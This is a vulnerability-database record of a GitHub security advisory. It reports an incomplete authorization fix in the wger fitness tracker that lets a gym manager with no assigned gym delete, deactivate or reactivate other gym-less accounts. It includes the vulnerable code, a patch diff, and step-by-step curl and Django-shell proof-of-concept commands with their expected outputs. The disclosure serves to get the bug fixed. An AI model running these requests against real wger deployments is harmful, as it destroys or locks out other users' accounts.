{"id":"GHSA-mw8f-w6p8-xrf4","aliases":[],"url":"https://o3.security/vulnerability/GHSA-mw8f-w6p8-xrf4","summary":"wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None","details":"## Summary\n\nGHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's `reset_user_password` and `gym_permissions_user_edit` views in `wger/gym/views/user.py` performed a gym-scope authorization check using Django ORM object comparison (`if request.user.userprofile.gym != user.userprofile.gym`) which silently passes when both sides are `None` (`None != None` evaluates to `False`). The maintainer's suggested patch (\"Apply the same `same_gym()` helper pattern to all five views sharing this check\") replaces every `userprofile.gym !=` site with the new `is_same_gym()` helper that explicitly excludes `None` (`gym_a is not None and gym_a == gym_b`).\n\nThe fix landed in `wger/gym/views/{admin_notes,document,contract,gym}.py` (5 views, all using `is_same_gym`). However, **three additional views in `wger/core/views/user.py` were not migrated** and retain the original `userprofile.gym_id != ...` raw integer comparison. Because raw integer `!=` comparison still evaluates `None != None` as `False`, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest `wger/server:latest` Docker image (master, 2026-05-08 build).\n\nA privileged-but-bounded gym staff user (admin-granted `gym.manage_gym` permission, intended scope: managing members of one specific gym) whose `userprofile.gym = None` (the default state before the admin links them to a gym) can:\n\n1. **Permanently delete any other user with `gym = None`** (V3, `delete` view, line 131 — CRITICAL data loss, irreversible)\n2. **Deactivate any other user with `gym = None`**, locking them out of the platform (V1, `UserDeactivateView`, line 405 — high availability impact)\n3. **Re-activate any previously deactivated user with `gym = None`** (V2, `UserActivateView`, line 442 — counters defensive deactivation)\n\nVictim user pks are sequential integers and trivially enumerable via `/en/user/<pk>/overview` and other endpoints. The `same_gym_id == ...` flag in `UserDetailView.get_context_data` (line 587) is also affected, but the underlying `dispatch()` and the actual `trainer_login` view still use the patched `is_same_gym()` helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.\n\n## Affected versions\n\n- All wger versions through master at `wger/server:latest` (digest `sha256:5d8fe1ba66cc...`, image build 2026-05-08).\n- The advisory's `affected: <0.9.7 → fixed: 0.9.7` range applies to the **PyPI `aegra-api` package** (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to `wger/gym/views/{admin_notes,document,contract,gym}.py`; `wger/core/views/user.py` was not touched in the same patch.\n\n(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)\n\n## Vulnerable code\n\n### V1 — `UserDeactivateView` (`wger/core/views/user.py`, line 405)\n\n```python\nclass UserDeactivateView(...):\n    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')\n\n    def dispatch(self, request, *args, **kwargs):\n        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n\n        if not request.user.is_authenticated:\n            return HttpResponseForbidden()\n\n        if (\n            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')\n        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: None != None == False\n            return HttpResponseForbidden()\n\n        return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)\n\n    def get_redirect_url(self, pk):\n        edit_user = get_object_or_404(User, pk=pk)\n        edit_user.is_active = False  # ← side effect on plain GET\n        edit_user.save()\n        ...\n```\n\n### V2 — `UserActivateView` (`wger/core/views/user.py`, line 442)\n\n```python\nclass UserActivateView(...):\n    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')\n\n    def dispatch(self, request, *args, **kwargs):\n        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n        ...\n        if (\n            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')\n        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: same pattern\n            return HttpResponseForbidden()\n\n        return super(UserActivateView, self).dispatch(request, *args, **kwargs)\n\n    def get_redirect_url(self, pk):\n        edit_user = get_object_or_404(User, pk=pk)\n        edit_user.is_active = True  # ← side effect on plain GET\n        edit_user.save()\n        ...\n```\n\n### V3 — `delete` (`wger/core/views/user.py`, line 116-159)\n\n```python\n@login_required()\ndef delete(request, user_pk=None):\n    ...\n    if user_pk:\n        user = get_object_or_404(User, pk=user_pk)\n\n        if not request.user.has_perm('gym.manage_gyms') and (\n            not request.user.has_perm('gym.manage_gym')\n            or request.user.userprofile.gym_id != user.userprofile.gym_id  # ← BUG (line 131)\n            or user.has_perm('gym.manage_gym')\n            or user.has_perm('gym.gym_trainer')\n            or user.has_perm('gym.manage_gyms')\n        ):\n            return HttpResponseForbidden()\n    ...\n\n    if request.method == 'POST':\n        form = PasswordConfirmationForm(data=request.POST, user=request.user)\n        if form.is_valid():\n            user.delete()  # ← victim account permanently deleted (line 145)\n            ...\n            gym_pk = request.user.userprofile.gym_id  # = None for trainer1\n            return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))\n            # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker\n            # but user.delete() already executed — victim is gone\n```\n\n**Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed.** The 500 is a redirect-side `NoReverseMatch` exception caused by `reverse('gym:gym:user-list', kwargs={'pk': None})` (line 154-155) attempting to build a URL with `pk=None` because trainer1 also has `gym=None`. By that point Django has already committed `user.delete()` (line 145) and the victim's User row is gone. The Reproduction section's Step 3 (\"confirm alice was actually deleted\") shows the post-delete DB state directly: `alice exists? False`, `all users: ['admin', 'trainer1']`. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.\n\n## Suggested patch\n\nSame as the advisory's recommendation — replace every `userprofile.gym_id != ...` raw comparison with `is_same_gym()` from `wger/gym/helpers.py`:\n\n```diff\n--- a/wger/core/views/user.py\n+++ b/wger/core/views/user.py\n @login_required()\n def delete(request, user_pk=None):\n     ...\n-        if not request.user.has_perm('gym.manage_gyms') and (\n-            not request.user.has_perm('gym.manage_gym')\n-            or request.user.userprofile.gym_id != user.userprofile.gym_id\n-            or user.has_perm('gym.manage_gym')\n-            or user.has_perm('gym.gym_trainer')\n-            or user.has_perm('gym.manage_gyms')\n-        ):\n+        if not request.user.has_perm('gym.manage_gyms') and (\n+            not request.user.has_perm('gym.manage_gym')\n+            or not is_same_gym(request.user, user)\n+            or user.has_perm('gym.manage_gym')\n+            or user.has_perm('gym.gym_trainer')\n+            or user.has_perm('gym.manage_gyms')\n+        ):\n             return HttpResponseForbidden()\n\n class UserDeactivateView(...):\n     def dispatch(self, request, *args, **kwargs):\n         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n         ...\n-        if (\n-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')\n-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n+        if (\n+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')\n+        ) and not is_same_gym(request.user, edit_user):\n             return HttpResponseForbidden()\n\n class UserActivateView(...):\n     def dispatch(self, request, *args, **kwargs):\n         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n         ...\n-        if (\n-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')\n-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n+        if (\n+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')\n+        ) and not is_same_gym(request.user, edit_user):\n             return HttpResponseForbidden()\n```\n\n`is_same_gym()` (current implementation at `wger/gym/helpers.py`) already returns `False` whenever either side is `None`, matching the advisory's existing fix pattern.\n\nAdditionally, `delete()` line 154-155 should handle the `gym_pk = None` case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (`gym.manage_gyms`) acting on `gym=None` users.\n\n## Reproduction\n\n### Setup (clean baseline)\n\n```bash\n# Pull and start the latest production image\ndocker pull wger/server:latest        # digest sha256:5d8fe1ba66cc..., 2026-05-08 build\ndocker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest\n\n# Wait ~30s for migrations and demo-data fixture load.\n\n# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).\ndocker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'\nfrom django.contrib.auth.models import User, Permission\n\n# Attacker — gym manager with no gym affiliation\nt = User.objects.create_user(username='trainer1', password='TrainerPass123!')\nt.userprofile.gym = None\nt.userprofile.save()\nt.user_permissions.add(Permission.objects.get(codename='manage_gym'))\nt.save()\n\n# Victim — regular user, no gym\na = User.objects.create_user(username='alice', password='AlicePass123!')\na.userprofile.gym = None\na.userprofile.save()\n\nprint(\"trainer1.gym_id =\", t.userprofile.gym_id, \"has_perm =\", t.has_perm('gym.manage_gym'))\nprint(\"alice.gym_id    =\", a.userprofile.gym_id, \"pk =\", a.pk)\nPY\n# Expected:\n#   trainer1.gym_id = None has_perm = True\n#   alice.gym_id    = None pk = 3\n```\n\n### Variant V1 — cross-tenant deactivation (`UserDeactivateView`, line 405)\n\n```bash\n# Login as attacker\nCOOKIES=/tmp/wger_trainer1.txt\nCSRF=$(curl -s -c $COOKIES \"http://localhost:8888/en/user/login\" | grep -oE 'csrfmiddlewaretoken\" value=\"[^\"]+\"' | head -1 | cut -d'\"' -f3)\ncurl -s -b $COOKIES -c $COOKIES \"http://localhost:8888/en/user/login\" \\\n    -d \"username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF\" \\\n    -H \"Referer: http://localhost:8888/en/user/login\" -o /dev/null\n\n# Trigger deactivation on alice (pk=3)\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code} loc=%header{location}\\n\" \\\n    \"http://localhost:8888/en/user/3/deactivate\"\n# → status=302 loc=/en/user/3/overview          (expected: 403 Forbidden)\n\n# Confirm DB side effect\ndocker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'\nfrom django.contrib.auth.models import User\nprint(\"alice.is_active =\", User.objects.get(username='alice').is_active)\nPY\n# → alice.is_active = False     (alice locked out)\n```\n\n### Variant V2 — cross-tenant re-activation (`UserActivateView`, line 442)\n\n```bash\n# Same trainer1 session\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code} loc=%header{location}\\n\" \\\n    \"http://localhost:8888/en/user/3/activate\"\n# → status=302 loc=/en/user/3/overview\n\ndocker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'\nfrom django.contrib.auth.models import User\nprint(\"alice.is_active =\", User.objects.get(username='alice').is_active)\nPY\n# → alice.is_active = True      (alice re-activated; useful to \"undo\" defensive action by an admin)\n```\n\n### Variant V3 — cross-tenant account deletion (`delete`, line 131)\n\n```bash\n# Step 1: GET the password-confirmation form\nCSRF2=$(curl -s -b $COOKIES \"http://localhost:8888/en/user/3/delete\" \\\n    | grep -oE 'csrfmiddlewaretoken\" value=\"[^\"]+\"' | head -1 | cut -d'\"' -f3)\necho \"form CSRF: $CSRF2\"\n# → 200 OK with PasswordConfirmationForm   (expected: 403 Forbidden)\n\n# Step 2: POST trainer1's own password — confirms the delete\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code}\\n\" \\\n    \"http://localhost:8888/en/user/3/delete\" \\\n    -d \"password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2\" \\\n    -H \"Referer: http://localhost:8888/en/user/3/delete\"\n# → status=500   (the 500 is a redirect-side error, see \"Vulnerable code\" → V3 above)\n\n# Step 3: confirm alice was actually deleted\ndocker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'\nfrom django.contrib.auth.models import User\nprint(\"alice exists?\", User.objects.filter(username='alice').exists())\nprint(\"all users:\", list(User.objects.values_list('username', flat=True)))\nPY\n# → alice exists? False\n# → all users: ['admin', 'trainer1']\n```\n\nThe 500 status returned to the attacker masks the destructive operation but does not prevent it — `user.delete()` (line 145) commits before the failing redirect (line 155).\n\n### Negative control (proves the bypass is `None`-specific, matching the advisory)\n\n```bash\n# Reset alice and assign her to gym pk=1 (one of the demo gyms).\ndocker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'\nfrom django.contrib.auth.models import User\nfrom wger.gym.models import Gym\na = User.objects.create_user(username='alice', password='AlicePass123!')\na.userprofile.gym = Gym.objects.first()      # not None any more\na.userprofile.save()\nprint(\"alice.gym_id =\", a.userprofile.gym_id)\nPY\n\n# Same trainer1 (gym=None) attempts deactivation\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code}\\n\" \\\n    \"http://localhost:8888/en/user/<new_alice_pk>/deactivate\"\n# → status=403       (guard works correctly when gym_ids differ AND neither side is None;\n#                      bypass is specifically the None != None edge case)\n```\n\n## Verification log\n\nThe full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as `_verify_run1.log`.\n\nKey assertions captured:\n\n| Step | Endpoint | HTTP | DB side effect (alice) |\n|---|---|---|---|\n| Baseline | (none) | — | `is_active=True, gym_id=None, pk=3` |\n| V1 | `GET /en/user/3/deactivate` | 302 | `is_active=False, gym_id=None, pk=3` |\n| V2 | `GET /en/user/3/activate` | 302 | `is_active=True, gym_id=None, pk=3` |\n| V3 GET | `GET /en/user/3/delete` | 200 (form rendered) | (no change) |\n| V3 POST | `POST /en/user/3/delete` w/ trainer1 password | 500 (post-delete redirect) | **alice row deleted from DB** |\n\n## Impact\n\n### Per-variant impact\n\n| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity |\n|---|---|---|---|---|---|---|\n| V3 | `/en/user/<pk>/delete` | POST (after GET form) | `User.delete()` cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | **No** (DB backup required) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | 9.9 CRITICAL |\n| V1 | `/en/user/<pk>/deactivate` | GET | `is_active = False` (login lockout) | Yes (admin or V2) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H` | 7.4 HIGH |\n| V2 | `/en/user/<pk>/activate` | GET | `is_active = True` (undoes defensive deactivation) | Yes (admin) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N` | 4.7 MEDIUM |\n\nThe headline severity at the top of this report is **CRITICAL 9.9** because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against `wger/server:latest` (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line `is_same_gym()` migration in `wger/core/views/user.py`). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.\n\n### Deployment scope (what is and is not affected)\n\n| Deployment model | Affected? |\n|---|---|\n| **Multi-tenant gym deployment** (gym manager + trainers + members) — `wger`'s documented commercial use case | **Yes** — `gym.manage_gym` permission is in active use and `gym=None` accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) |\n| **Single-user / personal fitness tracker** (1 admin, no `gym.manage_gym` grant to anyone, no trainer/gym hierarchy in use) | **No** — the precondition (an attacker with `gym.manage_gym` + `gym=None`) cannot occur because the permission is not granted to any user account on such a deployment. |\n| Public registration + gym-management feature in use | **Yes** — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted `gym.manage_gym` |\n\n`bb-fp-detector check-environment-class` returned `UNKNOWN` for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream `wger/server:latest` Docker image's default behaviour, which is the project's own canonical reference deployment.\n\n## Auth model verification (decisive tests)\n\n### Authorization architecture (`bb-auth-doc-audit` equivalent)\n\nwger is a self-contained Django web application that uses `django.contrib.auth` for authentication and Django's per-view permission classes (`PermissionRequiredMixin`, `WgerMultiplePermissionRequiredMixin`, `@login_required()`) for authorization. Authentication and authorization are both **enforced inside the wger application** (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no \"operators must place an auth-enforcing reverse proxy in front of wger\" disclaimer in the project's deployment docs (`https://wger.readthedocs.io/en/latest/production/`). The bug therefore directly violates the application's own documented authorization model.\n\n### Decisive bogus-credential / negative-control test (`bb-bogus-cred-test` equivalent) — actually executed\n\nThis test was run end-to-end on the same `wger/server:latest` Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: `_negative_control.log`.\n\n**Setup**: assign alice to the demo gym (`Default gym`, pk=1), trainer1 stays at `gym=None` with `gym.manage_gym`. Same trainer1 session as the positive-control run.\n\n**Result**:\n\n| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed |\n|---|---|---|---|\n| `GET /en/user/4/deactivate` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** |\n| `GET /en/user/4/activate`   | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** |\n| `GET /en/user/4/delete`     | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** |\n\n**DB state after the three negative-control attempts**: `alice.is_active = True`, `alice` still exists — no side-effects. The guard is functional.\n\n**Symmetric re-confirmation (positive control after revert)**: alice.gym was reset to `None` in the same session; `GET /en/user/4/deactivate` returned **302** with side-effect `alice.is_active = False` (re-confirming the original bypass triggers reproducibly), then `GET /en/user/4/activate` returned **302** with `alice.is_active = True` for cleanup.\n\nThis proves:\n\n1. The `dispatch()` and `delete()` guards **do enforce gym-scope authorization** when `gym_id` is non-`None` on either side — the guard is structurally functional.\n2. The bypass is specifically the `None != None` semantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check.\n3. The bypass is reversible/idempotent in the trivial sense (V1 → V2 → V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.\n\nEquivalent inverted test:\n\n```bash\n# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None\ndocker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'\nfrom django.contrib.auth.models import User\nfrom wger.gym.models import Gym\nt = User.objects.get(username='trainer1')\nt.userprofile.gym = Gym.objects.first()\nt.userprofile.save()\nPY\n\ncurl -s -b $COOKIES -o /dev/null -w \"status=%{http_code}\\n\" \"http://localhost:8888/en/user/<alice_pk>/deactivate\"\n# → status=403 Forbidden  (None != 1 evaluates to True → guard works)\n```\n\n### Runtime mitigation absence\n\nPoC was run against the **default `wger/server:latest` Docker image** with `DJANGO_DEBUG=true` (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of `DEBUG` value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified `dispatch()` / `delete()` code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.\n\n### Discovery of canonical tooling\n\nThis finding was located by reviewing the advisory's recommended remediation, then performing a repository-wide audit of the `is_same_gym` migration coverage using `gh api search/code?q=userprofile.gym+repo:wger-project/wger`. The unpatched `gym_id !=` raw comparisons in `wger/core/views/user.py` were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: `bb-api-baseline`, `bb-authz-gap-scan`, `bb-cross-instance-verify`; request-forgery hygiene: `bb-cookie`, `bb-csrf`) all reduce, for this class of finding, to \"send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink\"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold `gym.manage_gym` — but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.\n\n### Industry context (not a by-feature wide-access pattern)\n\nwger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is **per-gym tenant isolation** for gym-management staff — confirmed by the documented gym-manager role and the very `is_same_gym()` helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is **not** by-design; the negative-control test above (alice with `gym_id=1`) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.\n\n## Preconditions / how an attacker reaches this state\n\n| Precondition | How attacker obtains | External (Y/N) |\n|---|---|---|\n| Authenticated session | Self-register (default open) | N |\n| `gym.manage_gym` permission | Granted by an administrator (e.g. when designating the user as a gym trainer/manager). **Self-signup does NOT grant this permission**; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an **insider-threat / role-escape scenario**, the same scenario as the parent advisory CVE-2026-43948. | Y — same as the advisory's PoC; the role is part of wger's documented admin model and is treated as \"privileged-but-bounded gym staff\" rather than \"any logged-in user\". |\n| `attacker.userprofile.gym = None` | Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted `gym.manage_gym` simply not yet linking the trainer to a specific gym (a typical state during onboarding). | N |\n| `victim.userprofile.gym = None` | Default for any other newly registered user | N |\n| `victim.pk` known | Sequential integer; enumerable via `/en/user/<pk>/overview`, `/en/user/<pk>/api-key`, etc. | N |\n| `victim` does NOT have `gym.manage_gym` / `gym.gym_trainer` / `gym.manage_gyms` permissions (V3 only) | Default for regular users | N |\n\nFollowing the advisory's classification (which used identical `gym.manage_gym + gym=None` setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the `gym.manage_gym` permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.\n\n## Why this is an incomplete-fix variant, not a duplicate\n\nGHSA-mhc8-p3jx-84mm explicitly identifies the affected file as `wger/gym/views/user.py` (which has since been removed/refactored — the comparable functions now live in `wger/gym/views/{admin_notes,document,contract,gym}.py`). The maintainer's recommended remediation is to \"**Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`**\".\n\nConfirmation that the advisory fix landed only on those files (master, 2026-05-08):\n\n| File | Authorization check | Patched? |\n|---|---|---|\n| `wger/gym/views/admin_notes.py` | `is_same_gym(...)` | ✓ |\n| `wger/gym/views/document.py` | `is_same_gym(...)` | ✓ |\n| `wger/gym/views/contract.py` | `is_same_gym(...)` | ✓ |\n| `wger/gym/views/gym.py` (`reset_user_password`, `gym_permissions_user_edit`) | `is_same_gym(...)` | ✓ |\n| **`wger/core/views/user.py` `delete` (line 131)** | `userprofile.gym_id != ...` raw `!=` | ✗ |\n| **`wger/core/views/user.py` `UserDeactivateView` (line 405)** | `userprofile.gym_id != ...` raw `!=` | ✗ |\n| **`wger/core/views/user.py` `UserActivateView` (line 442)** | `userprofile.gym_id != ...` raw `!=` | ✗ |\n| `wger/core/views/user.py` `UserEditView` (line 484) | `is_same_gym(...)` | ✓ (incidentally migrated) |\n| `wger/core/views/user.py` `UserActivityCalendarView` (line 552) | `is_same_gym(...)` | ✓ (incidentally migrated) |\n| `wger/core/views/user.py` `UserDetailView` `dispatch` (line 552) | `is_same_gym(...)` | ✓ (incidentally migrated) |\n| `wger/core/views/user.py` `UserDetailView.get_context_data` (line 587) | `gym_id == gym_id` (UI flag only — `trainer_login` itself enforces `is_same_gym`) | UI leak only, no security impact |\n\nThe three unpatched call sites in `wger/core/views/user.py` predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 — only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.\n\n## References\n\n- Parent advisory: <https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm> (CVE-2026-43948)\n- Suggested patch from advisory text: \"Apply the same `same_gym()` helper pattern to all five views sharing this check\"\n- Helper definition: `wger/gym/helpers.py` `is_same_gym()` (already correctly excludes `None` after the advisory patch)\n- Related (incidentally patched in the same migration): `UserEditView`, `UserActivityCalendarView`, `UserDetailView.dispatch` — all three correctly use `is_same_gym()`\n\n## AI disclosure\n\nThis finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory's incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live `wger/server:latest` Docker instance with the verification log attached. The AI's role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.","published":"2026-05-20T15:37:26Z","modified":"2026-05-20T15:45:44.941558592Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"wger","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/wger-project/wger/security/advisories/GHSA-mw8f-w6p8-xrf4"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-20T15:45:44.941558592Z"}}